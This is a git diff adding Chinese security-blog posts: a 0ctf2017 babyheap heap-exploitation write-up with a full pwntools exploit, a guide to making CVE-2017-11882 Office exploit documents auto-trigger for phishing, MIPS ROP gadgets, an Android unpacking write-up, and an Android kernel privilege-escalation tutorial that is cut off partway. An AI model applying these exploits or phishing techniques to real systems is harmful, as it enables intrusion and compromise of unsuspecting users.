diff --git a/source/_authors/hac425.yml b/source/_authors/hac425.yml new file mode 100644 index 00000000..d412a57c --- /dev/null +++ b/source/_authors/hac425.yml @@ -0,0 +1,4 @@ +name: hac425 +about: 一个想做渗透的 bin +site: http://blog.hac425.top/ +email: hac425xxx@gmail.com diff --git a/source/_posts/0ctf2017_babyheap.md b/source/_posts/0ctf2017_babyheap.md new file mode 100644 index 00000000..5563a4a3 --- /dev/null +++ b/source/_posts/0ctf2017_babyheap.md @@ -0,0 +1,233 @@ +--- +title: 0ctf2017-babyheap +authorId: hac425 +tags: + - fastbin attack + - uaf + - '' +categories: + - ctf +date: 2017-12-18 19:46:00 +--- +### 前言 + +又是一道令人怀疑人生的 `baby` 题。 + +这道题利用思路非常巧妙,通过 `堆溢出` 和 `fastbin` 的机制构造了 `information leak`, 然后通过 `fastbin attack` 可以读写 `malloc_hook` , 然后使用 `one_gadget` 来 `getshell`. + +题目和 idb 文件:https://gitee.com/hac425/blog_data/tree/master/babyheap + + +### 正文 + + +程序涉及的结构体 `info` 的结构如下,可以通过 `allocate` 功能逆出来 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151359802954748asgou8.png?imageslim) + + +程序首先 `mmap` 了一个 随机的地址,用于存放 `info table`(就是存储`info`的数组). +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151359791301977g5486x.png?imageslim) + +程序的漏洞在于,在 `allocate` 时程序根据我们的输入 分配 `size` (size < 0x1000)大小的块。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513598177039adb3rvos.png?imageslim) + +然而 在 `fill` 我们可以写入任意大小的数据 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513600309457yh3juekn.png?imageslim) + +经典的堆溢出。 + +问题在于,程序保护全开,而且 `info table` 的地址还是随机的,而且分配内存时,用的时 `calloc` 会把内存初始化为0。 所以常用的 `大chunk包含小chunk` 的信息泄露方式没法使用。 + +这里通过将 `堆溢出` 转换为 `uaf` 来进行信息泄露。 + + +首先分配 多个 `chunk` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15136011014075wn0qsjc.png?imageslim) + +然后释放 偏移为 `1,3`的块,它们会进入 `fastbin`,然后通过部分溢出`chunk 2` 使得下面那个 `fastbin` 的 `fd` 指向下面那个大的块,然后溢出 `chunk 4` 修改其大小为 `0x21` 来 `bypass` 掉 `fastbin` 分配的 `check` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513601149909iwlr22xb.png?imageslim) + +然后分配两次我们就能再次拿到这个 大的 `chunk`, 代码如下 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513601356365qsp2ooav.png?imageslim) +因为此时我们还没有得到任何 地址,不过各个 `chunk` 的相对偏移应该是固定的,只要内存的分配顺序,大小没有变化,所以我们可以通过修改 `fd` 的低字节(小端字节序)就能 使 `fd` 指向我们的 `大chunk`。 + +此时我们在把 `大chunk`的 `size` 修复,然后 用 `free` 刚刚分配的 `info`,它就会进入 `unsorted bin` ,此时在 `chunk+0x10` 处就有了 `main_arean` 的地址 (`unsorted bin`的 指针),然后用另外一个 `info` 打印内容即可 `leak`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15136016779927ug8wun3.png?imageslim) + +费劲千辛万苦我们终于拿到了 `libc` 的地址,对于这种全开的一般想到的就是修改 `__malloc_hook` 或者 `__free_hook`, 问题来了,怎么修改。 + +又是一种新的思路。我们可以在 `__malloc_hook` 附近找到合适的位置,进行 `fastbin attack`. + +``` +x/4gx (long long)(&main_arena)-0x40+0xd +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15136019955895srgx1x3.png?imageslim) +如果以这里为一个 `chunk` ,这个 `chunk` 应该被放到 `0x70` 大小的 `fastbin` 里面。所以接下来的利用思路就是,构造一个 `0x70` 大小的 `fastbin` , 然后溢出修改 `fd` 到这个 `chunk` ,分配两次我们就能读写 `__malloc_hook`了,修改它为 `one_gadget`即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15136025454127tpb4ti1.png?imageslim) +还有一个小 `tips` ,之前 `uaf` 的时候还有一块 `0x110` 的 `chunk` 在 `unsorted bin`, 所以我们需要先把这块内存给分配掉,然后在 进行布局。 + + +### 最后 + +`one_gadget` 一个一个试,与寄存器和内存数据的状态有关。利用 `main_arean` 的数据进行 `fastbin attack` 这个 思路强悍。 + + + +**参考** + +http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html + +**exp** + +``` +from pwn import * +from time import sleep + +# x/4gx (long long)(&main_arena)-0x40+0xd + +def allocate(size): + p.recvuntil("Command:") + p.sendline("1") + p.recvuntil("Size:") + p.sendline(str(size)) + sleep(0.1) + + + +def fill(index, content): + p.recvuntil("Command:") + p.sendline("2") + p.recvuntil("Index:") + p.sendline(str(index)) + p.recvuntil("Size:") + p.sendline(str(len(content))) + p.recvuntil("Content:") + p.send(content) + sleep(0.1) + + +def free(index): + p.recvuntil("Command:") + p.sendline("3") + p.recvuntil("Index:") + p.sendline(str(index)) + sleep(0.1) + + +def dump(index): + p.recvuntil("Command:") + p.sendline("4") + p.recvuntil("Index:") + p.sendline(str(index)) + p.recvuntil("Content: \n") + + + +p = process("./0ctfbabyheap") + + +gdb.attach(p,''' + +c + + ''') + +pause() +allocate(0x10) # 0 +allocate(0x10) # 1 +allocate(0x10) # 2 +allocate(0x10) # 3 +allocate(0x10) # 4 +allocate(0x100) # 5 +allocate(0x10) # 6 +allocate(0x10) # 7 + +log.info("allocat some chunk, large in chunk 5") +pause() + +free(1) +free(3) + +log.info("free 1, 3") +#pause() + +payload = "A" *0x10 +payload += p64(0) +payload += p64(0x0000000000000021) +payload += "\xa0" +fill(2, payload) +log.info("modify chunk 3 's fastbin ptr, to 0xa0") +#pause() + + +payload = "A" *0x10 +payload += p64(0) +payload += p64(0x0000000000000021) +fill(4, payload) + +log.info("modify chunk 5 's size to 0x21 for bypass check") +#pause() + +allocate(0x10) # 1 +allocate(0x10) # 3, get large bin + +log.info("now allocate 2 chunk to get the large bin") +#pause() + +payload = "A" *0x10 +payload += p64(0) +payload += p64(0x00000000000000111) +fill(4, payload) + +log.info("resume large chunk size") +#pause() + + +free(3) +log.info("free the large bin, and our chunk 5 in unsorted bin") +#pause() + +dump(5) + +addr = u64(p.recv(8)) +libc = addr - 0x3c4b78 +one_gadget = libc + 0x4526a +log.info("libc: " + hex(libc)) +log.info("one_gadget: " + hex(one_gadget)) +#pause() + + +allocate(0x100) # 3 + +allocate(0x60) # 8 +free(8) +payload = "A" *0x10 +payload += p64(0) +payload += p64(0x0000000000000071) +payload += p64(libc + 0x3c4aed) # fake fastbin 0x70 size +fill(7, payload) +log.info("fake fastbin") +#pause() + +allocate(0x60) # 8 +allocate(0x60) # 9 + +log.info("now chunk 9 on " + hex(libc + 0x3c4aed)) + +payload = "A" * 19 +payload += p64(one_gadget) # modify malloc hook +fill(9, payload) + +allocate(0x10) + +p.interactive() + +``` \ No newline at end of file diff --git a/source/_posts/CVE_2017_11882_Phishing_sample.md b/source/_posts/CVE_2017_11882_Phishing_sample.md new file mode 100644 index 00000000..57e9d853 --- /dev/null +++ b/source/_posts/CVE_2017_11882_Phishing_sample.md @@ -0,0 +1,62 @@ +--- +title: CVE-2017-11882钓鱼样本构造 +authorId: hac425 +tags: + - office漏洞 + - CVE-2017-11882 +categories: + - 渗透测试 +date: 2017-11-23 09:03:00 +--- +### 前言 +漏洞详情: + +https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about + +最近的一个影响很广泛的漏洞。 + +据说影响范围: + +``` + Office 365 + + Microsoft Office 2000 + + Microsoft Office 2003 + + Microsoft Office 2007 Service Pack 3 + + Microsoft Office 2010 Service Pack 2 + + Microsoft Office 2013 Service Pack 1 + + Microsoft Office 2016 + +``` +exploit在 `github`已经有了。 + +https://github.com/embedi/CVE-2017-11882 + +本文讲讲怎么构造一个实用的钓鱼脚本。 + +### 正文 +打开 `exploit` 会自动弹 计算器。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511399246307qiyjz9df.png?imageslim) +不过如果我们修改内容后,在保存就不能打开自动弹了,需要用户点击 `111` , 那个控件。于是有了此文。 + + +修改后和修改前的 `exploit` 文件对比,通过看漏洞报告,我们知道漏洞出在 `Equation.3` 控件,我们在两个文件中搜索,看看这里是不是有什么不一样的。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511399690986npwdipku.png?imageslim) + +`\objupdate` 是用来自动加载 `ole` 对象的,没了这个就不能自动触发漏洞了。我们加上试试。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511399801316gzwpwr2m.png?imageslim) + +然后打开 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511399823795k69wxqv4.png?imageslim) + +ok. + +### 最后 +通过`diff`, 找到问题所在。 \ No newline at end of file diff --git a/source/_posts/MIPS_rop_gadgets_collects.md b/source/_posts/MIPS_rop_gadgets_collects.md new file mode 100644 index 00000000..1a317808 --- /dev/null +++ b/source/_posts/MIPS_rop_gadgets_collects.md @@ -0,0 +1,96 @@ +--- +title: MIPS rop gadgets记录贴&&持续更新 +authorId: hac425 +tags: + - mips rop +categories: + - 路由器安全 +date: 2017-10-27 15:01:00 +--- +### 前言 + +本帖记录一些常用的,效果好的 rop gadgets. + +**uClibc** + +**从栈中设置`$t9` 并跳到 `$t9` 的gadgets , `__thread_start` 函数第二行** + +使用 [案例](https://jinyu00.github.io/%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E5%85%A8/2017-10-27-%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5pwn%E8%B7%AF%E7%94%B1%E5%99%A8%E4%B9%8B%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E6%88%98.html) + +使用tips: +- 调用函数时,进入函数内部时要求 `$t9` 指向函数的起始地址。 + +``` +lw $t9, arg_0($sp) +jalr $t9 + +``` + +**四个组合使用,调用栈中 shellcode 的 rop_gadget , 需要可以控制 `$s1`,** + +详细分析在[这里 +](https://jinyu00.github.io/%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E5%85%A8/2017-10-26-%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5pwn%E8%B7%AF%E7%94%B1%E5%99%A8%E4%B9%8B%E8%B7%AF%E7%94%B1%E5%99%A8%E7%8E%AF%E5%A2%83%E4%BF%AE%E5%A4%8D-rop%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90.html) + +rop_gadget 1, **设置 参数一 为 1**,位于 `__uClibc_main` ,可以使用 `mipsrop.find("li $a0, 1")` 查找 +``` + LOAD:00055C60 li $a0, 1 + LOAD:00055C64 move $t9, $s1 + LOAD:00055C68 jalr $t9 ; sub_55960 + LOAD:00055C5C lui $s0, 2 +``` + +rop_gadget 2,**从栈中设置寄存器**,使用 `mipsrop.tail()` 查找 +``` + LOAD:0001E20C move $t9, $s1 + LOAD:0001E210 lw $ra, 0x28+var_4($sp) + LOAD:0001E214 lw $s2, 0x28+var_8($sp) + LOAD:0001E218 lw $s1, 0x28+var_C($sp) + LOAD:0001E21C lw $s0, 0x28+var_10($sp) + LOAD:0001E220 jr $t9 + LOAD:0001E224 addiu $sp, 0x28 + +``` + +rop_gadget 3,**获取栈地址**,使用 `mipsrop.stackfinder()` 查找 + +``` + LOAD:000164C0 addiu $s2, $sp, 0x198+var_180 + LOAD:000164C4 move $a2, $v1 + LOAD:000164C8 move $t9, $s0 + LOAD:000164CC jalr $t9 ; mempcpy + LOAD:000164D0 move $a0, $s2 + +``` +rop_gadget 4,**通过 `$t9`, 跳转到 `$s2`**,使用 `mipsrop.find("move $t9, $s2")` 查找, 位于 `readdir` +``` + LOAD:000118A4 move $t9, $s2 + LOAD:000118A8 jalr $t9 +``` + +**从栈中取数据到寄存器, `opendir` 函数尾部** +``` +.text:0000AA6C lw $ra, 0xC0+var_4($sp) +.text:0000AA70 lw $s2, 0xC0+var_8($sp) +.text:0000AA74 lw $s1, 0xC0+var_C($sp) +.text:0000AA78 lw $s0, 0xC0+var_10($sp) +.text:0000AA7C jr $ra +.text:0000AA80 addiu $sp, 0xC0 +.text:0000AA80 # End of function opendir +``` + +**从栈中设置基本上所有的重要寄存器,位于 `scandir` 或者 `scandir64`尾部** +``` +LOAD:00011BB0 lw $ra, 0x40+var_4($sp) +LOAD:00011BB4 lw $fp, 0x40+var_8($sp) +LOAD:00011BB8 lw $s7, 0x40+var_C($sp) +LOAD:00011BBC lw $s6, 0x40+var_10($sp) +LOAD:00011BC0 lw $s5, 0x40+var_14($sp) +LOAD:00011BC4 lw $s4, 0x40+var_18($sp) +LOAD:00011BC8 lw $s3, 0x40+var_1C($sp) +LOAD:00011BCC lw $s2, 0x40+var_20($sp) +LOAD:00011BD0 lw $s1, 0x40+var_24($sp) +LOAD:00011BD4 lw $s0, 0x40+var_28($sp) +LOAD:00011BD8 jr $ra +LOAD:00011BDC addiu $sp, 0x40 +LOAD:00011BDC # End of function scandir +``` \ No newline at end of file diff --git a/source/_posts/aijiami_unpacker.md b/source/_posts/aijiami_unpacker.md new file mode 100644 index 00000000..a3756c5a --- /dev/null +++ b/source/_posts/aijiami_unpacker.md @@ -0,0 +1,241 @@ +--- +title: 【天翼杯安卓题二】 爱加密脱壳实战 +tags: + - 安卓脱壳 +categories: + - 安卓安全 +authorId: hac425 +date: 2017-10-22 19:33:00 +--- +### 前言 + 这个apk使用爱加密加密,加密时间是2017.6月。这个题其实就是个脱壳题,脱完立马见flag。(出题人也太懒了) +   +题目链接:https://gitee.com/hac425/blog_data/blob/master/app02.apk +### 壳介绍 + +爱加密的壳16年年底就已经开始通过 `hook dvmResolveClass` ,在调用具体方法时解密方法指令,然后将 DexFile结构体中的对应方法的 `md->insns` 指向 解密后的方法指令数据区,然后进入 `真正的dvmResolveClass `中执行指令,执行完后在重新加密指令,这样就可以防止 `dexhunter` 等工具在内存中 `dump dex` 文件。 + +流程图 + +![流程图](/img/android_sec/ijiami_flow.png) + +[图片来源](http://www.cnblogs.com/2014asm/p/6534189.html) + +### 脱壳 +由上面可以知道,在`dvmResolveClass`函数执行的时候,代码是已经还原好了的。这时我们去`dump`相应的指令就是正确的指令。于是修改 `dvmResolveClass` 的代码,`dump` 方法的数据。 +修改 `dvmResolveClass` 函数: + + +``` + +/* add dump .....*/ + + char key_str[20] = "jiajiatest"; + int fd=open("/data/local/tmp/resolve_class_config",O_RDONLY,0666); + if(fd!=-1){ + int len = read(fd,key_str,19); + key_str[len-1] = '\x00'; + key_str[len] = '\x00'; + close(fd); + } + ALOGI("The key_str ---> %s----referrer->descriptor--->%s--", key_str, referrer->descriptor); + +if(strstr(referrer->descriptor, key_str)){ + char task_name[] = "task_name"; + char *logbuf = new char[1024]; + char path[50] = {0}; + sprintf(path, "/data/local/tmp/%s_dump_%d", key_str, getpid()); + FILE *fpw = fopen(path, "awb+"); + for(int i=0; i < referrer->directMethodCount; i++){ + Method* md = &referrer->directMethods[i]; + const char* mName_d = md->name; + const u2 insSize_d = md->insSize; + const u2* insns_d = md->insns; + const u2 methodldx_d = md->methodIndex; + u4 insns_d_size = dvmGetMethodInsnsSize(md); +// ALOGI("hacklh_md---->%p, i-->%d, directMethodCount-->%d", md, i,referrer->directMethodCount); + sprintf(logbuf,"-------------- (KL)resolving [class=%s, method=%s, methodIndex=%u, insSize=%u, insns_d=%x, codeSize=%d] in pid: %d(name: %s)",referrer->descriptor,mName_d,methodldx_d,insSize_d,(u4)insns_d, insns_d_size,getpid() , task_name); + LOGD("%s",logbuf); + if(fpw != NULL){ + fwrite(logbuf,1,strlen(logbuf),fpw); + fflush(fpw); + fwrite((u1*)insns_d,1,insns_d_size*2, fpw); + fflush(fpw); + }else{ + LOGD("——(KL)open %s fail!", path); + } + } + for(int i=0; i < referrer->virtualMethodCount; i++){ + Method* mv = &referrer->virtualMethods[i]; + const char* mName_v = mv->name; + const u2 insSize_v = mv->insSize; + const u2* insns_v = mv->insns; + const u2 methodIdx_v = mv->methodIndex; + u4 insns_v_size = dvmGetMethodInsnsSize(mv); + sprintf(logbuf,"-------------- (KL)resolving [class=%s, method=%s, methodIndex=%u, insSize=%u, insns_d=%x, codeSize=%d] in pid: %d(name: %s)",referrer->descriptor,mName_v,methodIdx_v,insSize_v,(u4)insns_v, insns_v_size,getpid() , task_name); + LOGD("%s",logbuf); + if(fpw != NULL){ + fwrite(logbuf,1,strlen(logbuf),fpw); + fflush(fpw); + fwrite((u1*)insns_v,1,insns_v_size*2, fpw); + fflush(fpw); + }else{ + LOGD("%s","——(KL)open file fail!"); + } + } + if(fpw != NULL){ + fclose(fpw); + } + delete logbuf; +/* add end .....*/ + +``` + + + +dump之后我们需要把指令patch到dex对应位置上去,patch的方式有很多种,我选择使用ida脚本对他进行patch。我觉得ida就是一个各种文件格式的loader,我们可以在ida中修改文件的内容,然后可以让ida把修改应用到文件中,以完成patch。 因此在IDA中patch代码十分的方便,而且也很方便的查看patch后的结果。patch代码的流程是: + +--- +读取dump的方法指令--->定位相应方法指令数据区在ida中的位置---->patch + +--- + +代码如下: + +``` +#! /usr/bin/python +# -*- coding: utf8 -*- + +# 该脚本用于在ida中使用dump下来的method指令对 dex 进行Patch +import re +from dex_parser import dex + +#存储 存放dump数据的字典 +data_array = [] +#用来避免多次patch +patched = [] +file_data = "" + +def parse_meta_data(data=""): + # print data + ret = {} + tokens = re.findall("\[class=(.*?),.*?method=(.*?),.*?codeSize=(.*?)\]",data) + # print tokens + + ret['class_name'] = tokens[0][0][1:].replace('/','.').replace(';','') + ret['method'] = tokens[0][1] + ret['code_size'] = int(tokens[0][2]) * 2 #dex文件格式定义,总大小为 codeSize*2 + # print ret + return ret + +#注释,用于给ida执行 +# def patch_byte(a, b): +# print hex(b), + +def patch(dest, src, size): + print "dest::{}, src::{}, size::{}".format(dest, src, size) + for i in range(size): + patch_byte(dest + i, int(file_data[ src + i].encode('hex'), 16)) + + print "\n" + +def parse_dump_data(filename): + global file_data + with open(filename, "rb") as fp: + file_data = fp.read() + + #使用正则表达式把说明dump数据的元数据加载到内存 + all_item = re.findall("-------------- \(KL\)resolving(.*?) in pid:.*?\(name: task_name\)", file_data) + offset = 0 + for meta_data in all_item: + try: + #使用字典组织数据 + #{'class_name': 'com.example.jiajiatest.MainActivity', 'code_size': 306, 'method': 'add', 'data_offset': 7175} + + ret = parse_meta_data(meta_data) + data_addr = file_data.find('(name: task_name)', offset) + 17 + ret['data_offset'] = data_addr + data_array.append(ret) + offset = data_addr + except Exception as e: + raise e + + return data_array + +def get_method_addr(method_data, signature_str): + for md_name in method_data: + if signature_str in md_name: + return method_data[md_name] + return -1 + +def patch_dex(dump_data_file, dex_file): + dump_data = parse_dump_data(dump_data_file) + dex_obj = dex.dex_parser(dex_file) + method_data = dex_obj.get_class_data() + + for item in dump_data: + signature_str = "{}::{}".format(item['class_name'], item['method']) + if signature_str not in patched: + + #获取要patch的目标地址 + addr = get_method_addr(method_data, signature_str) + if addr == -1: + print "{} can't get insns addr".format(signature_str) + continue + #do patch + print "patch " + signature_str, + patch(addr,item['data_offset'],item['code_size']) + patched.append(signature_str) + + # print patched + # for i in patched: + # print i + +import pprint + +patch_dex("F:\code_workplace\ida_script\jiajiatest_dump_20406","F:\code_workplace\ida_script\classes.dex" ) +if __name__ == '__main__': + print "comming main" + # parse_dump_data("F:\code_workplace\ida_script\jiajiatest_dump_20406") + # patch_dex("F:\code_workplace\ida_script\jiajiatest_dump_20406","F:\code_workplace\ida_script\classes.dex" ) + # dex_obj = dex.dex_parser("F:\code_workplace\ida_script\classes.dex") + # class_data = dex_obj.get_class_data() + # pprint.pprint(class_data) + + + + # parse_meta_data("-------------- (KL)resolving [class=Lcom/example/jiajiatest/HttpRunner;, method=makeImgHttpGET, methodIndex=13, insSize=2, insns_d=6daf04d8, codeSize=270] in pid: 20406(name: task_name)") + +``` + + +patch前后对比: + +patch前 + + +![raw](http://oy9h5q2k4.bkt.clouddn.com/1508763745193jfvdw2et.png?imageslim) +patch后 + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508763780531bdpdup3e.png?imageslim) + + +这时已经可以看到程序的主体逻辑了。然后查看字符串就可以拿到flag......... + + +### 我干的傻事 + +- 代码循环条件忘记写了,导致越界,一打开应用就报错。 + +- 文件打开失败,貌似是权限问题,我直接暴力把 `/data/local/tmp` 改成 777 + +### 总结 + + 分析安卓底层代码的错误,要关注 `logcat` 日志,找到出问题的代码点,然后把库的带符号版本放到ida中分析 +分析bug, 要看代码的关键逻辑, 判断条件等。 + + +### 最后 + +要多实践,如有问题请在下面评论。 \ No newline at end of file diff --git a/source/_posts/android_kernel_explit_part1.md b/source/_posts/android_kernel_explit_part1.md new file mode 100644 index 00000000..0d403929 --- /dev/null +++ b/source/_posts/android_kernel_explit_part1.md @@ -0,0 +1,336 @@ +--- +title: Android内核漏洞利用技术实战:环境搭建&栈溢出实战 +authorId: hac425 +tags: + - kernel_exploit + - android_kernel +categories: + - 安卓安全 +date: 2017-08-14 23:31:00 +--- +### 前言 + +`Android`的内核采用的是 `Linux` 内核,所以在`Android `内核中进行漏洞利用其实和在 一般的 x86平台下的 `linux` 内核中进行利用差不多。主要区别在于 `Android` 下使用的是`arm`汇编以及环境的搭建方面。本文对我最近的实践做一个分享,其实很简单。 + + +### 内核调试环境搭建 + +搭建平台: `ubuntu 16.04` + +这里使用 `android` 模拟器来进行内核调试。首先下载内核代码 + +``` +git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git +``` + +然后下载 `github` 上的一个安卓漏洞利用的项目, +``` +git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges +``` + +然后使用项目中的 `patch` 文件把 `patch` 内核编译配置,来把项目中的带漏洞的模块编译进 `linux` 内核 +``` + +git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \ +cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities +``` + +这里注意: `goldfish` 目录和 `kernel_exploit_challenges` 目录要在同一目录下 + +然后下载 `arm-linux-androideabi-4.6` 交叉编译工具链 。下载完成后把它解压后,然后把它加到环境变量中 + +``` + +tar xvf arm-linux-androideabi-4.6.tar.bz2 +export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH +``` +然后进入 `goldfish` 目录,开始编译 +``` + +make goldfish_armv7_defconfig && make -j8 +``` +编译完成后,就会有两个主要的文件:`goldfish/vmlinux` 和 `goldfish/arch/arm/boot/zImage`。前面那个用于在调试时 `gdb` 加载,后面的用于在安卓模拟器启动时加载。 + +下面下载 安卓 `sdk` , 用来下载和运行 安卓模拟器。 + +`sdk` 下载地址: `http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz ` + +然后把` sdk` 解压 +``` + +tar xvf android-sdk_r24.4.1-linux.tgz +``` +把 android-sdk-linux/tools 加入环境变量,把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目录改成你的目录> +``` +export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH +``` +然后重新打开一个shell, 使用下面的命令 <要先下载jdk ,并且设置好环境变量> +``` +android +``` + +然后把下面标注的两个下载下来 + +来 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512056420990rincxky6.png?imageslim) +下载完后。首先查看下载的镜像文件 + +``` + +$android list targets +Available Android targets: +---------- +id: 1 or "android-19" + Name: Android 4.4.2 + Type: Platform + API level: 19 + Revision: 4 + Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in +``` +然后创建 模拟器 +``` +android create avd --force -t "android-19" -n kernel_challenges +``` +然后进入 goldfish 目录,使用下面的命令来使用我们的内核来运行模拟器,并在 1234 端口起一个 gdbserver 来方便进行 内核调试 +``` +emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s +``` + +第一次运行有类似的结果: +``` + +$ emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s +WARNING: userdata image already in use, changes will not persist! +Creating filesystem with parameters: + Size: 576716800 + Block size: 4096 + Blocks per group: 32768 + Inodes per group: 7040 + Inode size: 256 + Journal blocks: 2200 + Label: + Blocks: 140800 + Block groups: 5 + Reserved block group size: 39 +Created filesystem with 11/35200 inodes and 4536/140800 blocks +WARNING: cache image already in use, changes will not persist! +Creating filesystem with parameters: + Size: 69206016 + Block size: 4096 + Blocks per group: 32768 + Inodes per group: 4224 + Inode size: 256 + Journal blocks: 1024 + Label: + Blocks: 16896 + Block groups: 1 + Reserved block group size: 7 +Created filesystem with 11/4224 inodes and 1302/16896 blocks +...................... +...................... +...................... + +``` + + +为了便于后面的操作我们需要把 交叉编译工具链 添加到环境变量里。把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目录改成你的目录> +``` +export +PATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH +``` + +然后重新开个 shell, 进入到 goldfish 目录,加载 vmlinux 以便调试内核 +``` +arm-linux-androideabi-gdb vmlinux +``` +如果一切正常,应该可以得到下面的类似输出 +``` +GNU gdb (GDB) 7.3.1-gg2 +Copyright (C) 2011 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. Type "show copying" +and "show warranty" for details. +This GDB was configured as "--host=x86_64-apple-darwin --target=arm-linux-android". +For bug reporting instructions, please see: +... +Reading symbols from /goldfish/vmlinux...done. +(gdb) +``` +然后连接 模拟器里面的 调试端口 +``` + +(gdb) target remote :1234 +Remote debugging using :1234 +cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74 +74movpc, lr +(gdb) +``` +如果能看到这样的输出说明已经可以正常进行内核调试了。 + + +内核栈溢出漏洞利用 + +首先看看漏洞代码, `kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c`: + +``` +#include +#include +#include +#include +#include +#include +#define MAX_LENGTH 64 +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Ryan Welton"); +MODULE_DESCRIPTION("Stack Buffer Overflow Example"); +static struct proc_dir_entry *stack_buffer_proc_entry; +int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data) +{ + char buf[MAX_LENGTH]; + if (copy_from_user(&buf, ubuf, count)) { + printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n"); + return -EFAULT; + } + return count; +} +static int __init stack_buffer_proc_init(void) +{ + stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL); + stack_buffer_proc_entry->write_proc = proc_entry_write; + printk(KERN_INFO "created /proc/stack_buffer_overflow\n"); + return 0; +} +static void __exit stack_buffer_proc_exit(void) +{ + if (stack_buffer_proc_entry) { + remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry); + } + printk(KERN_INFO "vuln_stack_proc_entry removed\n"); +} +module_init(stack_buffer_proc_init); +module_exit(stack_buffer_proc_exit); +``` + +上述代码会创建 `/proc/stack_buffer_overflow` 设备文件 ,当向该设备文件调用 `write` 系统调用时会调用 `proc_entry_write` 函数进行处理。 + +漏洞显而易见,在 `proc_entry_write` 函数中 定义了一个 `64` 字节大小的栈缓冲区` buf`, 然后使用 `copy_from_user(&buf, ubuf, count)` 从用户空间 拷贝数据到 `buf `,数据大小和内容均用户可控。于是当我们输入超过`64`字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 `shellcode` 中 进行提权。 + +首先我们来试试触发漏洞。先把模拟器打开,然后 adb shell 进入模拟器,使用 echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。 +``` +echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15120564582742ufjathg.png?imageslim) +可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用 `commit_creds(prepare_kernel_cred(0));` 提升权限为 root, 然后返回 用户态 执行 `execl("/system/bin/sh", "sh", NULL);` 起一个 `root` 权限的 `shell`, 完成提权。 + +下面先获取 `prepare_kernel_cred` 和 `commit_creds` 函数的地址。在 `/proc/kallsyms` 文件中保存着所有的内核符号的名称和它在内存中的位置。 + +不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,`linux` 内核目前禁止一般用户获取符号。具体可以看这里。 + +当启用 `kptr_restrict `是我们不能获取内核符号地址的。 +``` +root@generic:/ # cat /proc/kallsyms | grep commit_creds +00000000 T commit_creds +``` + +在本文中,把它禁用掉,不管他。 + +``` + +root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict +root@generic:/ # cat /proc/kallsyms | grep commit_creds +c0039834 T commit_creds +root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred +c0039d34 T prepare_kernel_cred +``` +禁用掉之后,我们就可以通过 `/proc/kallsyms` 获取 `commit_creds` 和 `prepare_kernel_cred `的地址。 + +至此,提权的问题解决了,下面就是要回到用户态,在`x86`平台有 `iret`指令可以回到用户态,在`arm`下返回用户态就更简单了。在`arm`下 `cpsr` 寄存器的 `M[4:0]` 位用来表示 处理器的运行模式,具体可以看[这个](http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html)。 + +所以我们把 `cpsr` 寄存器的 `M[4:0]` 位设置为 `10000` 